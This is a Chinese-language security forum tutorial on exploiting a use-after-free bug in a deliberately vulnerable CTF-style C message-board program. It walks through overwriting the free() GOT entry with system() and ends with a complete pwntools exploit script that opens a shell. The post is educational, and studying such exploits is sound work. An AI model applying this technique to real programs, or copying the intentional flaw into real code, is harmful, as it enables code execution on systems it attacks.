-
-
[原创]通过UseAfterFree实现命令执行
-
发表于: 2017-9-28 18:48
-
UseAfterFree
本贴讲述如何利用UAF漏洞，实现GOT表覆盖，从而实现命令执行，另外漏洞程序由本人通过逆向14年的ctf获得，同时进行了一些功能的精简，从而得到下面的漏洞程序，解决漏洞讲解没有漏洞源码源码的问题。
漏洞程序，是一个用链表实现的简单留言板，用户可以查看消息，并对相关的消息进行：回复、删除、修改。
漏洞代码uaf.c如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <stdint.h>
struct Message {
int reply_count;
struct Message* nextMsg;
int msgid;
char* author;
int author_size;
char* title;
int title_size;
char* content;
int content_size;
int total_num;
};
struct Message * head, *tail;
char input_buffer[0x1000];
void read_input(char * buf, int read_len, int buf_size) {
if (NULL == buf || read_len <= 0)
return;
memset(buf, 0, buf_size);
int i = 0;
char temp_char;
while (1) {
temp_char = getchar();
if (i < read_len)
buf[i] = temp_char;
if (temp_char == 0xA)
break;
i++;
}
}
uint32_t read_input_uint(char *buf, int read_len, int buf_size) {
read_input(buf, read_len, buf_size);
return strtoul(buf, 0, 10);
}
void insertMessage(int messageId) {
struct Message* tmp = head;
while (tmp->nextMsg != tail) {
tmp = tmp->nextMsg;
}
struct Message * new_msg;
new_msg = (struct Message *) malloc(sizeof(struct Message));
new_msg->msgid = messageId;
write(STDOUT_FILENO, "input you name len:\n", 20);
new_msg->author_size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
new_msg->author = (char *) malloc(new_msg->author_size);
write(STDOUT_FILENO, "input you name:\n", 16);
read_input(new_msg->author, new_msg->author_size, new_msg->author_size);
write(STDOUT_FILENO, "input you title len:\n", 21);
new_msg->title_size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
new_msg->title = (char *) malloc(new_msg->title_size);
write(STDOUT_FILENO, "input you title:\n", 17);
read_input(new_msg->title, new_msg->title_size, new_msg->title_size);
write(STDOUT_FILENO, "input you content len:\n", 23);
new_msg->content_size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
new_msg->content = (char *) malloc(new_msg->content_size);
write(STDOUT_FILENO, "input you content:\n", 19);
read_input(new_msg->content, new_msg->content_size, new_msg->content_size);
new_msg->nextMsg = tmp->nextMsg;
tmp->nextMsg = new_msg;
}
struct Message * print_msg(int msgid) {
struct Message* tmp = head;
while (tmp != tail) {
if (tmp->msgid == msgid) {
write(STDOUT_FILENO, "msg author:", 11);
write(STDOUT_FILENO, tmp->author, tmp->author_size);
write(STDOUT_FILENO, ",msg title:", 11);
write(STDOUT_FILENO, tmp->title, tmp->title_size);
write(STDOUT_FILENO, ",msg content:", 13);
write(STDOUT_FILENO, tmp->content, tmp->content_size);
//write(STDOUT_FILENO, ",msg reply count:", 17);
//write(STDOUT_FILENO, tmp->reply_count, 4);
write(STDOUT_FILENO, "\n", 1);
/*printf(
"\nmsg author:%s, msg title %s,msg content %s, msg reply count %d\n",
tmp->author, tmp->title, tmp->content, tmp->reply_count);*/
return tmp;
}
tmp = tmp->nextMsg;
}
return NULL;
}
void delete_msg(struct Message * delmsg) {
//delete linked list msg and free
struct Message* tmp = head;
while (tmp->nextMsg != delmsg) {
tmp = tmp->nextMsg;
}
tmp->nextMsg = delmsg->nextMsg;
//free
free(delmsg->author);
free(delmsg->content);
free(delmsg->title);
free(delmsg);
}
void modify_msg(struct Message * modifymsg) {
int size = 0;
char temp[0x100];
write(STDOUT_FILENO, "input new name len:\n", 20);
size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
if (size > 0x100)
return;
write(STDOUT_FILENO, "input new name:\n", 16);
read_input(temp, size, 0x100);
memcpy(modifymsg->author, temp, size);
modifymsg->author_size= size;
write(STDOUT_FILENO, "input new title len:\n", 21);
size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
if (size > 0x100)
return;
write(STDOUT_FILENO, "input new title:\n", 17);
read_input(temp, size, 0x100);
memcpy(modifymsg->title, temp, size);
modifymsg->title_size= size;
write(STDOUT_FILENO, "input new content len:\n", 23);
size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
if (size > 0x100)
return;
write(STDOUT_FILENO, "input new content:\n", 19);
read_input(temp, size, 0x100);
modifymsg->content = (char *) malloc(size);
memcpy(modifymsg->content, temp, size);
modifymsg->content_size= size;
}
void main() {
struct Message HEAD, TAIL;
head = &HEAD;
tail = &TAIL;
head->nextMsg = tail;
head->msgid = 0;
tail->nextMsg = NULL;
tail->msgid = -1;
char usage[128] =
"1.leave your message, 2.read the message,3.exit; please input you choice.\n";
char operate_usage[80] =
"Please select the operate: 1.delete 2.modify 3.add reply 4.back\n";
int cmd = 0, msg_count = 0, operate = 0;
while (1) {
write(STDOUT_FILENO, usage, strlen(usage));
read_input(input_buffer, sizeof(input_buffer), sizeof(input_buffer));
sscanf(input_buffer, "%d", &cmd);
switch (cmd) {
case 1: //添加留言
msg_count++;
insertMessage(msg_count);
break;
case 2:
write(STDOUT_FILENO, "input msgid will read:\n", 23);
int read_msg_id = 0;
read_input(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
sscanf(input_buffer, "%d", &read_msg_id);
struct Message * read_msg = print_msg(read_msg_id);
if (read_msg == NULL) {
//write(STDOUT_FILENO, "msgid error\n", 12);
return;
}
while (1) {
write(STDOUT_FILENO, operate_usage, strlen(operate_usage));
operate = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer));
//sscanf(input_buffer, "%d", &operate);
if (operate == 1) {
delete_msg(read_msg);
} else if (operate == 2) {
modify_msg(read_msg);
} else if (operate == 3) {
read_msg->reply_count++;
} else if (operate == 4) {
break;
}
}
break;
case 3:
write(STDOUT_FILENO, "exit\n", 5);
return;
}
}
}
Uaf程序的基本操作如下:1可以添加留言，2可以查看留言内容，查看完留言内容后，可以选择对浏览内容进行修改，增加回复和删除。
| daizy@daizy-VirtualBox:~/Documents/vuln$
./uaf
1.leave your message, 2.read the message,3.exit; please input you choice. 1 input you name len: 4 input you name: test input you title len: 4 input you title: test input you content len: 5 input you content: hello 1.leave your message, 2.read the message,3.exit; please input you choice. 2 input msgid will read: 1 msg author:test,msg title:test,msg content:hello Please select the operate: 1.delete 2.modify 3.add reply 4.back 2 input new name len: 5 input new name: daizy input new title len: 5 input new title: hello input new content len: 11 input new content: hello,daizy Please select the operate: 1.delete 2.modify 3.add reply 4.back 4 1.leave your message, 2.read the message,3.exit; please input you choice. 2 input msgid will read: 1 msg author:daizy,msg title:hello,msg content:hello,daizy Please select the operate: 1.delete 2.modify 3.add reply 4.back 1 Please select the operate: 1.delete 2.modify 3.add reply 4.back 4 1.leave your message, 2.read the message,3.exit; please input you choice. 3 exit |
UseAfterFree漏洞形成原因
链表节点被删除后，可以进入modify_msg函数，modify_msg函数之后可以继续进入modify_msg函数。while (1) {
write(STDOUT_FILENO, operate_usage, strlen(operate_usage));
operate = read_input_uint(input_buffer, sizeof(input_buffer), sizeof(input_buffer));
//sscanf(input_buffer, "%d", &operate);
if (operate == 1) {
delete_msg(read_msg);
} else if (operate == 2) {
modify_msg(read_msg);
} else if (operate == 3) {
read_msg->reply_count++;
} else if (operate == 4) {
break;
}
}
void delete_msg(struct Message * delmsg) {
//delete linked list msg and free
struct Message* tmp = head;
while (tmp->nextMsg != delmsg) {
tmp = tmp->nextMsg;
}
tmp->nextMsg = delmsg->nextMsg;
//free
free(delmsg->author);
free(delmsg->content);
free(delmsg->title);
free(delmsg);
}
delete_msg函数中对节点进行了free操作，如果在循环代码中，进行delete操作，释放节点后，在选择2进入modify_msg函数，modify_msg会根据用户输入的内容，重新分配堆内存。
modify_msg函数如下 :void modify_msg(struct Message * modifymsg) {
int size = 0;
char temp[0x100];
write(STDOUT_FILENO, "input new name len:\n", 20);
size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
if (size > 0x100)
return;
write(STDOUT_FILENO, "input new name:\n", 16);
read_input(temp, size, 0x100);
memcpy(modifymsg->author, temp, size);
modifymsg->author_size= size;
write(STDOUT_FILENO, "input new title len:\n", 21);
size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
if (size > 0x100)
return;
write(STDOUT_FILENO, "input new title:\n", 17);
read_input(temp, size, 0x100);
memcpy(modifymsg->title, temp, size);
modifymsg->title_size= size;
write(STDOUT_FILENO, "input new content len:\n", 23);
size = read_input_uint(input_buffer, sizeof(input_buffer),
sizeof(input_buffer));
if (size > 0x100)
return;
write(STDOUT_FILENO, "input new content:\n", 19);
read_input(temp, size, 0x100);
modifymsg->content = (char *) malloc(size); //新分配一个content
memcpy(modifymsg->content, temp, size);
modifymsg->content_size= size;
}
modify_msg函数从用户读取数据，然后拷贝到对应的指针中，但此时使用的是一个已经释放的msg结构指针。当输入content时，会取content的长度作为大小分配内存，当分配内存大小等于msg结构大小(x86上是40字节，会将刚才释放的内存分配给content指针。此外由于msg结构指针刚好是40个字节，再给msg分配堆内存是，由于需要8字节对齐，而40个字节+8字节[prev_size+size]，刚好8字节对齐，另外由于40字节，在堆中属于fastbin管理，不会发生合并，free后再分配时，就会返回相同的堆块)。
接着会将用户输入的内容(content)拷贝到content指针中，即我们构造的恶意内容，覆盖了原来的Message中的char* author、char* title等地址内容。
整个msg变化过程，如下图所示：
在循环代码中，modify_msg完之后可以继续进入modify_msg,此时msg中相关地址，如author、title和content地址已经变成free函数在got表中的位置，也就是我们输入的内容可以覆盖GOT表!我们把free函数的GOT表地址覆盖成system函数地址，下次在执行free函数时，就会执行system函数，从而达到命令执行。
最终漏洞的exp代码如下:
#!/usr/bin/env python
from pwn import *
__author__="daizy"
def add_new_msg(cmd, name_len, name, title_len, title, content_len, content):
p.recvuntil("\n")
cmd = str(cmd)+ "\n"
p.send(cmd)
p.recvuntil("\n") #input name size
p.send(str(name_len) + "\n")
p.recvuntil("\n") # input name
p.send(name + "\n")
p.recvuntil("\n") #input title size
p.send(str(title_len) + "\n")
p.recvuntil("\n") # input title
p.send(title + "\n")
p.recvuntil("\n") #input content size
p.send(str(content_len) + "\n")
p.recvuntil("\n") # input content
p.send(content + "\n")
def print_msg(cmd, msg_index):
p.recvuntil("\n")
cmd = str(cmd)+ "\n"
p.send(cmd)
p.recvuntil("\n")
cmd = str(msg_index)+ "\n"
p.send(cmd)
p.recvuntil("\n") #print msg info
def delete_msg(cmd):
p.recvuntil("\n")
cmd = str(cmd)+ "\n"
p.send(cmd)
def modify_msg(cmd, name_len, name, title_len, title, content_len, content):
p.recvuntil("\n")
cmd = str(cmd)+ "\n"
p.send(cmd)
p.recvuntil("\n") #input new name size
p.send(str(name_len) + "\n")
p.recvuntil("\n") # input new name
p.send(name + "\n")
p.recvuntil("\n") #input new title size
p.send(str(title_len) + "\n")
p.recvuntil("\n") # input new title
p.send(title + "\n")
p.recvuntil("\n") #input new content size
p.send(str(content_len) + "\n")
p.recvuntil("\n") # input new content
p.send(content + "\n")
def back_msg_main(cmd):
p.recvuntil("\n")
cmd = str(cmd) + "\n"
p.send(cmd)
if __name__ == "__main__":
libc = ELF('libc.so')
elf = ELF('uaf')
p = process('./uaf')
#p = remote('127.0.0.1', 15000)
libc_system = libc.symbols['system']
libc_free = libc.symbols['free']
offset_sys_free = libc_system - libc_free
print '\noffset_sys_free= ' + hex(offset_sys_free)
got_free = elf.got['free']
print '\ngot_free= ' + hex(got_free)
#step 1 add two msg,msg two's author,title,content is /bin/sh
print "\nadd new msg"
add_new_msg(1, 4,"test", 4, "test", 5, "hello")
add_new_msg(1, 7,"/bin/sh", 7,"/bin/sh", 7,"/bin/sh")
#step2 print the new msg
print "\n step2 print msg by msgid"
print_msg(2, 1)
#step3 delete the new msg
print "\n setp3 delete msg"
delete_msg(1)
#step4 modify the delete msg
print "\n step4 modify msg"
content = "c"*12 + p32(got_free) + "c"*4+p32(got_free) + "c"*4+p32(got_free) + "c"*8
modify_msg(2, 4, "test", 4, "test", 40, content)
#step5 calculate system address and second modify the delete msg to write system address to got.free
print "\nstep5 calculate system address and write to got.free"
free_addr = int(raw_input("free address:"), 16)
system_addr = free_addr + offset_sys_free
modify_msg(2, 4, p32(system_addr), 4, p32(system_addr), 4, p32(system_addr))
#step 6 exit msg operate and back to add new msg
print "\nback to msg main"
back_msg_main(4)
#step 7 free('/bin/sh') ->system('/bin/sh')
print "\nfree('/bin/sh') ->system('/bin/sh')"
#print "\nprint new msg2"
print_msg(2, 2)
#print "\n free new msg2->system"
delete_msg(1)
p.interactive()
由于print_msg函数在modify_msg函数的上一层，也就是无法通过print指定地址上的内容造成信息泄露，所以上述free函数的地址是通过运行时，gdb -pid 5519获得，得到free函数地址后，需要退出gdb程序，否则主程序无法进行下一步。
当然也可以通过指定一个free函数地址，爆破n次，也可以获得成功。
exp运行结果如下:
